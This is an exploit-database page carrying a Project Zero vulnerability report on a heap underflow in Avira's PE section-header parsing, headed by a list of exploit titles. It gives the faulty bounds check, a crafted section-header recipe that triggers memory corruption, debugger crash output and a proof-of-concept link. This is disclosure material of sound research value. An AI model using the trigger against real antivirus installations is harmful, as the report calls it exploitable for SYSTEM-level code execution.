dfc00ffd48
22 new exploits Windows NDProxy - Privilege Escalation XP SP3 x86 and 2003 SP2 x86 (MS14-002) Windows XP SP3 x86 and 2003 SP2 x86 - NDProxy Privilege Escalation (MS14-002) exim <= 4.84-3 - Local Root Exploit Exim <= 4.84-3 - Local Root Exploit CoolPlayer (Standalone) build 2.19 - .m3u Stack Overflow OS X / iOS Suid Binary Logic Error Kernel Code Execution Multiple CCTV-DVR Vendors - Remote Code Execution MiCollab 7.0 - SQL Injection Vulnerability Comodo Antivirus Forwards Emulated API Calls to the Real API During Scans Avira - Heap Underflow Parsing PE Section Headers Comodo - PackMan Unpacker Insufficient Parameter Validation Comodo - LZMA Decoder Heap Overflow via Insufficient Parameter Checks Comodo - Integer Overlow Leading to Heap Overflow Parsing Composite Documents Wireshark - dissect_ber_integer Static Out-of-Bounds Write Comodo - Integer Overflow Leading to Heap Overflow in Win32 Emulation Comodo Antivirus - Heap Overflow in LZX Decompression OS X Kernel - Code Execution Due to Lack of Bounds Checking in AppleUSBPipe::Abort Adobe Flash - Shape Rendering Crash Adobe Flash - Zlib Codec Heap Overflow Adobe Flash - Sprite Creation Use-After-Free Adobe Flash - Uninitialized Stack Parameter Access in AsBroadcaster.broadcastMessage UaF Fix Adobe Flash - Uninitialized Stack Parameter Access in Object.unwatch UaF Fix Adobe Flash - Uninitialized Stack Parameter Access in MovieClip.swapDepths UaF Fix OS X Kernel - AppleKeyStore Use-After-Free OS X Kernel - Unchecked Array Index Used to Read Object Pointer Then Call Virtual Method in nVidia Geforce Driver OS X Kernel Use-After-Free and Double Delete Due to Incorrect Locking in Intel GPU Driver
60 lines
3.3 KiB
Text
Executable file
60 lines
3.3 KiB
Text
Executable file
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765
|
|
|
|
One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).
|
|
|
|
The code is doing something like:
|
|
|
|
if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
|
|
buf = malloc(8192);
|
|
|
|
memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
|
|
}
|
|
|
|
|
|
The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.
|
|
|
|
To reproduce this bug, create an executable with a section like this:
|
|
|
|
NAME RVA VSZ RAW_SZ RAW_PTR nREL REL_PTR nLINE LINE_PTR FLAGS
|
|
.text ff003fff 1fff 1fff 200 0 0 0 0 0 ---
|
|
|
|
With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData
|
|
|
|
(e58.2b8): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
|
|
eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0 nv up ei pl nz na po nc
|
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
|
aecore!ave_proc+0x1fc2c:
|
|
7291545c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
|
0:011> db esi
|
|
35785219 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785229 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785239 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785249 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785259 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785269 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785279 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
35785289 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
|
|
I think it started writing to ptr - 8192, lets see what's there:
|
|
|
|
0:011> db edi - (0n8192 - (ecx * 4))
|
|
41293fdc 00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA
|
|
41293fec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
41293ffc 41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? AAAA????????????
|
|
4129400c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
|
4129401c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
|
4129402c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
|
4129403c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
|
4129404c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
|
|
|
Yes!
|
|
|
|
Without page heap, you should get heap corruption, probably writing to 0x41414141.
|
|
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39600.zip
|
|
|